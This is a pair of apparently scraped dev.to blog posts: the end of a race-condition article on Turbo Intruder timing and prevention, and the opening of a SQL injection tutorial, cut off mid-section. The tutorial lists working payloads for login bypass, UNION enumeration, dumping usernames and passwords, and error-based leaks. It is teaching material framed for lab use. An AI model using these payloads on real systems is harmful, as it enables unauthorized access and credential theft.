&lt;p&gt;Turbo Intruder is highly effective for controlling request timing at the byte level. You can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send &lt;strong&gt;warm-up requests&lt;/strong&gt; to prepare the backend and eliminate one-time delays&lt;/li&gt;
&lt;li&gt;Precisely schedule real attack requests to align with specific processing windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This allows you to fine-tune request dispatch with minimal network interference.&lt;/p&gt;

&lt;h2&gt;
  
  
  Additional Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Run multiple iterations to measure and understand timing differences across endpoints.&lt;/li&gt;
&lt;li&gt;Ensure all endpoints use the &lt;strong&gt;same session or authentication context&lt;/strong&gt;, if required.&lt;/li&gt;
&lt;li&gt;Test under consistent conditions to isolate variability in response timing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Understanding Multi-Endpoint Race Conditions: Problems and Workarounds
&lt;/h1&gt;

&lt;p&gt;When exploiting &lt;strong&gt;race conditions&lt;/strong&gt;, attackers often target a single vulnerable endpoint. However, when a race condition spans &lt;strong&gt;multiple endpoints&lt;/strong&gt;, synchronizing requests becomes significantly more complex. Even if requests are sent simultaneously, they may not reach or be processed by the server at the same time due to various timing discrepancies.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Multi-Endpoint Race Conditions Are Challenging
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Network Delays
&lt;/h3&gt;

&lt;p&gt;Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/1.1&lt;/strong&gt;: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/2&lt;/strong&gt;: Uses multiplexing over a single connection, reducing connection-related delays.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays usually affect &lt;strong&gt;all requests uniformly&lt;/strong&gt;, so even if there’s a delay, the &lt;strong&gt;relative timing between requests&lt;/strong&gt; may still remain intact.&lt;/p&gt;

&lt;p&gt;If only the &lt;strong&gt;first request&lt;/strong&gt; is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint-Specific Delays
&lt;/h3&gt;

&lt;p&gt;Some endpoints take longer to process than others due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complex business logic&lt;/li&gt;
&lt;li&gt;Heavy database operations&lt;/li&gt;
&lt;li&gt;Additional validation steps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays impact only the affected endpoints, disrupting synchronization across requests.&lt;/p&gt;

&lt;p&gt;If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.&lt;/p&gt;

&lt;h2&gt;
  
  
  Workarounds for Synchronizing Requests
&lt;/h2&gt;

&lt;p&gt;To deal with inconsistencies and improve synchronization, consider the following techniques:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Adjust Request Timing Manually
&lt;/h3&gt;

&lt;p&gt;Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Use Connection Reuse or HTTP/2
&lt;/h3&gt;

&lt;p&gt;Reducing connection overhead helps requests arrive more predictably:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reuse TCP connections using the &lt;strong&gt;Keep-Alive&lt;/strong&gt; header.&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;HTTP/2&lt;/strong&gt;, which allows multiple requests to be sent simultaneously over a single connection.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Pad Faster Endpoints
&lt;/h3&gt;

&lt;p&gt;If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add delays (e.g., using &lt;code&gt;sleep()&lt;/code&gt; functions, if supported)&lt;/li&gt;
&lt;li&gt;Increase payload size to artificially extend processing time&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Use Turbo Intruder for Fine-Grained Timing Control
&lt;/h3&gt;

&lt;p&gt;Turbo Intruder is highly effective for controlling request timing at the byte level. You can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send &lt;strong&gt;warm-up requests&lt;/strong&gt; to prepare the backend and eliminate one-time delays&lt;/li&gt;
&lt;li&gt;Precisely schedule real attack requests to align with specific processing windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This allows you to fine-tune request dispatch with minimal network interference.&lt;/p&gt;

&lt;h2&gt;
  
  
  Abusing rate or resource limits for race conditions-
&lt;/h2&gt;

&lt;p&gt;If connection warming doesn'                                                                                   t synchronize your race condition attack, try the following methods&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Client-Side Delay (Turbo Intruder)&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Turbo Intruder lets you add a short delay &lt;strong&gt;before sending each request&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Problem: This splits the request over &lt;strong&gt;multiple TCP packets&lt;/strong&gt;, so you &lt;strong&gt;can't use single-packet attacks&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Not reliable on &lt;strong&gt;high-jitter targets&lt;/strong&gt; (where network timing is unpredictable).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Triggering Server-Side Delay (Smart Bypass)&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Abuse rate-limiting&lt;/strong&gt;: Send many &lt;strong&gt;dummy requests&lt;/strong&gt; quickly to the server.&lt;/li&gt;
&lt;li&gt;This &lt;strong&gt;forces the server to slow down processing&lt;/strong&gt; (common anti-abuse feature).&lt;/li&gt;
&lt;li&gt;Now send your real attack request during that slowdown.&lt;/li&gt;
&lt;li&gt;Helps make &lt;strong&gt;single-packet race condition attacks work&lt;/strong&gt; even if delay is needed.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How to Prevent Race Condition Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;Race conditions occur when two or more operations execute simultaneously and cause unexpected or harmful behavior. Here are practical techniques to prevent them in your applications:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Avoid Mixing Different Data Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Don’t combine data from different sources (e.g., database and cache) when making critical decisions.&lt;/li&gt;
&lt;li&gt;Always rely on a &lt;strong&gt;single, trusted source&lt;/strong&gt;—typically your main database—for sensitive operations like authentication, payments, or order validation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Make Critical Actions Atomic
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Wrap multi-step processes inside a &lt;strong&gt;single transaction&lt;/strong&gt; to prevent interference between steps.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For example, when placing an order:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validate the cart total&lt;/li&gt;
&lt;li&gt;Process the payment&lt;/li&gt;
&lt;li&gt;Save the order&lt;/li&gt;
&lt;li&gt;All of this should happen &lt;strong&gt;in one atomic transaction&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Use Built-in Database Protections
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Enforce constraints to maintain data integrity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unique constraints&lt;/strong&gt; (e.g., on username or email)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Foreign key constraints&lt;/strong&gt; to prevent orphan records&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;p&gt;These automatically prevent many race condition scenarios by rejecting invalid or duplicate data at the database level.&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Don’t Rely on Sessions to Protect Database Logic
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Sessions should be used for &lt;strong&gt;tracking user identity&lt;/strong&gt;, not for controlling the number of allowed operations.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;strong&gt;server-side protections&lt;/strong&gt; instead:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Database-level row limits&lt;/li&gt;
&lt;li&gt;Application-layer rate limiting&lt;/li&gt;
&lt;li&gt;Request locking or queuing where needed&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Keep Session State Consistent
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;When modifying session-related data, update all changes in a &lt;strong&gt;single step&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;transactions&lt;/strong&gt; to prevent partially updated or corrupted session data.&lt;/li&gt;
&lt;li&gt;Frameworks and ORMs like &lt;strong&gt;Django&lt;/strong&gt; or &lt;strong&gt;Hibernate&lt;/strong&gt; support transactional session handling—make use of them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Carefully Consider Stateless Designs (JWT)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Moving state to the client using &lt;strong&gt;JSON Web Tokens (JWT)&lt;/strong&gt; can reduce server-side race conditions.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;But if you go stateless, ensure JWTs are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Securely signed&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Untampered&lt;/strong&gt; (with signature verification on every request)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Short-lived or revocable&lt;/strong&gt; to prevent replay or misuse&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Race condition vulnerabilities are subtle but powerful attack vectors that often slip past traditional security checks. When dealing with multi-endpoint workflows or high-concurrency systems, even minor timing flaws can lead to severe data inconsistencies, privilege escalations, or unauthorized actions.&lt;/p&gt;

&lt;p&gt;By understanding how these vulnerabilities arise—and implementing preventative strategies like atomic transactions, database constraints, and proper session handling—you can significantly reduce the risk. Tools like Turbo Intruder can help uncover these flaws during testing, but real security comes from designing systems that are resilient by default.&lt;/p&gt;

&lt;p&gt;Race conditions are not just bugs; they’re symptoms of deeper architectural oversights. Fix the timing, structure the logic, and secure the flow—because attackers will race you to production.&lt;/p&gt;

&lt;p&gt;Thanks for reading my blog on race conditions, this blog was inspired by the portswigger labs on race condition which gave hands on practical demo in addition to the techniques. All of which I have tried to simplified and provided them in this blog&lt;/p&gt;




&lt;p&gt;.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>buildinpublic</category>
      <category>beginners</category>
    </item>
    <item>
      <title>SQL Injection: All Concepts, All Payloads, All In One</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Sun, 15 Jun 2025 10:28:16 +0000</pubDate>
      <link>https://dev.to/deoxys/sql-injection-all-concepts-all-payloads-all-in-one-4ch5</link>
      <guid>https://dev.to/deoxys/sql-injection-all-concepts-all-payloads-all-in-one-4ch5</guid>
      <description>&lt;p&gt;&lt;strong&gt;Mastering SQL Injection: A Deep Dive Guide for Beginners &amp;amp; Pros&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This guide assumes you have a safe, legal testing environment (e.g., DVWA, OWASP Juice Shop, local VMs). Never test against unauthorized targets.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  1. What Is SQL Injection?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fltuljoa96xmworxac8t8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fltuljoa96xmworxac8t8.png" alt=" " width="512" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SQL Injection (SQLi) is a web security vulnerability that arises when applications incorporate untrusted user input directly into SQL queries. By injecting specially crafted strings containing SQL syntax attackers can intercept or alter query logic, enabling them to bypass authentication, extract sensitive data, modify or delete records, and even execute administrative operations on the database server.&lt;/p&gt;

&lt;p&gt;In a typical injection flow, user-supplied values from form fields, URL parameters, or headers are concatenated into a query string. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'" + userInput + "'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;userInput&lt;/code&gt; is &lt;code&gt;1 OR 1=1&lt;/code&gt;, the query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That second condition, &lt;code&gt;1=1&lt;/code&gt;, is always true. Consequently, the application returns all product rows instead of just the intended one. We choose this payload because it introduces an always true expression, demonstrating how simple modifications bypass intended query logic. With more intricate payloads, attackers can escalate to full database compromise by combining additional clauses or comments.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. How to Detect SQL Injection Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Error Observation:&lt;/strong&gt;&lt;br&gt;
Submit a single quote (&lt;code&gt;'&lt;/code&gt;) or double quote (&lt;code&gt;"&lt;/code&gt;) into form fields, query parameters, or HTTP headers. Many databases return descriptive error messages syntax errors, type mismatches, or XML parsing failures—that reveal the injection point. Pay attention to unexpected HTTP 500 status codes or custom error pages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Behavioral Differences:&lt;/strong&gt;&lt;br&gt;
Inject boolean conditions such as &lt;code&gt;OR 1=1&lt;/code&gt; versus &lt;code&gt;OR 1=2&lt;/code&gt;. Observe differences in page content, HTTP status codes, or even minor changes like the presence/absence of certain HTML elements. This approach works because the application processes both valid and invalid conditions, enabling confirmation of injection viability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Timing Tests:&lt;/strong&gt;&lt;br&gt;
For blind environments, inject database-specific sleep functions (&lt;code&gt;SLEEP(5)&lt;/code&gt; in MySQL, &lt;code&gt;WAITFOR DELAY '0:0:5'&lt;/code&gt; in MSSQL, &lt;code&gt;pg_sleep(5)&lt;/code&gt; in PostgreSQL). If the response is significantly delayed, it indicates the injected condition was evaluated. This payload is chosen to rely solely on server response time, bypassing the need for direct output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Automated Scanning:&lt;/strong&gt;&lt;br&gt;
Use tools like sqlmap or Burp Suite’s Scanner to enumerate potential injection points. These can automate payload generation and response analysis. However, they might miss custom business logic vulnerabilities or sophisticated WAF bypasses, so manual testing remains essential.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Retrieving Hidden Data &amp;amp; Subverting Logic
&lt;/h2&gt;
&lt;h3&gt;
  
  
  3.1 Authentication Bypass (Tautology)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; A login form builds a query like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$user'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$pass'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Injection:&lt;/strong&gt; Supply &lt;code&gt;username: ' OR '1'='1&lt;/code&gt; and any password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'foo'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload works by injecting an always true condition (&lt;code&gt;'1'='1'&lt;/code&gt;) that subverts the AND logic. We choose it because it reliably bypasses simple credential checks without needing to know valid usernames or passwords in advance. The database returns the first matching user record, often granting admin access.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Conditional Login Test
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; A session tracking cookie, e.g., &lt;code&gt;TrackingId&lt;/code&gt;, triggers a custom message “Welcome back!” when valid. Internally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'TrackingId'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Injection:&lt;/strong&gt; Toggle the condition to true/false:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND '1'='1
Cookie: TrackingId=xyz' AND '1'='2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These payloads work by appending additional Boolean expressions to the original query. Choosing &lt;code&gt;'AND '1'='1'&lt;/code&gt; ensures the condition remains valid, causing the application to confirm the session. Conversely, &lt;code&gt;'AND '1'='2'&lt;/code&gt; always fails, demonstrating how Boolean differences reveal injection points.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. UNION-Based Injection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Determining Column Count
&lt;/h3&gt;

&lt;p&gt;Applications often return multiple columns. Before using &lt;code&gt;UNION&lt;/code&gt;, attackers must match the column count and data types.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
... 
?id=1' ORDER BY N--  # yields an error when N exceeds column count
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each increment tests if the application accepts ordering by that column index. When an error occurs, it indicates the true column count. We choose this method because it’s reliable and doesn’t require prior schema knowledge.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Finding Compatible Data Types
&lt;/h3&gt;

&lt;p&gt;Next, verify which columns accept strings versus numbers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, NULL --  # if two columns
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;--      # test string-integer mix&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using &lt;code&gt;NULL&lt;/code&gt; bypasses strict type requirements, while mixing literals tests each column’s compatibility. This approach ensures subsequent data retrieval queries won’t fail due to type mismatches.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 Extracting Data
&lt;/h3&gt;

&lt;p&gt;Once aligned, append your own &lt;code&gt;SELECT&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT id, username, password FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload works by merging legitimate query results with attacker-controlled data pulled from the &lt;code&gt;users&lt;/code&gt; table. Choosing &lt;code&gt;id, username, password&lt;/code&gt; aligns with common columns of interest for credential harvesting.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Examining the Database (Information Schema)
&lt;/h2&gt;

&lt;p&gt;When table/column names are unknown, SQLi attackers leverage the metadata tables:&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 Enumerate Tables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, table_name FROM information_schema.tables--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Retrieves a list of all tables. We choose &lt;code&gt;information_schema.tables&lt;/code&gt; because it’s universally supported across SQL databases.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Enumerate Columns
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, column_name FROM information_schema.columns WHERE table_name='&lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Filters for columns within the &lt;code&gt;users&lt;/code&gt; table. This targeted approach avoids overwhelming output and speeds enumeration.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 Dump Specific Columns
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, CONCAT(username, '&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;', password) FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Concatenates username and password with a delimiter. We pick &lt;code&gt;CONCAT&lt;/code&gt; and &lt;code&gt;:&lt;/code&gt; for readability and easy parsing in results.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Error-Based SQL Injection
&lt;/h2&gt;

&lt;p&gt;When applications display raw database errors, you can force errors to leak data directly by triggering different types of errors. Below are multiple payloads and their purposes:&lt;/p&gt;

&lt;h3&gt;
  
  
  6.1 Conversion Errors
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND 1=CONVERT(int,(SELECT @@version))--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggers a type conversion error that includes the result of &lt;code&gt;SELECT @@version&lt;/code&gt; in the error message. Useful to identify the database engine and version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND 1=CAST((SELECT user()) AS INT)--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For systems supporting &lt;code&gt;CAST&lt;/code&gt;, this forces a cast error revealing the current database user.&lt;/p&gt;

&lt;h3&gt;
  
  
  6.2 Arithmetic and Function Errors
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND (SELECT TOP 1 name FROM sysobjects) LIKE '&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="s1"&gt;' / 0--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Divides by zero when the first table name contains “user”, causing an error if true. This payload combines arithmetic with metadata queries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' AND JSON_VALUE((SELECT CONCAT('&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;"u"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;"', user(), '"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;')), '&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="s1"&gt;') IS NULL--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



